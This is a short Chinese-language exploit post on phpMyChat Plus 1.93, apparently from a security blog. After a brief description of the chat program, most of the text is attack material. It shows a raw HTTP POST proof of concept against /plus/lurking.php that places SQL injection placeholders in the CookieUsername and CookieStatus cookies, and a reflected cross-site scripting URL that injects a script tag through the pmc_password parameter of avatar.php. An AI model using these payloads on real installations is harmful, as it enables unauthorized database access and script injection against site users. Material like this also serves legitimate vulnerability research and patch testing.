phpMyChat SQL注入l及跨站漏洞利用

phpMyChat是最优秀的开源聊天室程序之一，其最大特点是系统资源占用极低、效率极高。支持发言过滤、用户屏蔽等基础功能。其缺点是管理功能略显薄弱。phpMyChat Plus 1.93存在sql注入漏洞及跨站漏洞。下载地址：http://sourceforge.net/projects/phpmychat/

 sql注入漏洞POC：

-------------------------------------------------------------

POST /plus/lurking.php HTTP/1.1
Host: www.hack1990.com

Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 0
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Cookie: CookieUsername=[SQL]; CookieStatus=[SQL]; CookieRoom=x; CookieLang=x; CookieUserSort=x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

------------------------------------------------------------------
 

跨站漏洞测试：

http://www.iick.blog/plus/avatar.php?pmc_password=%22%3E%3Cscript%3Ealert%280%29%3C/script%3E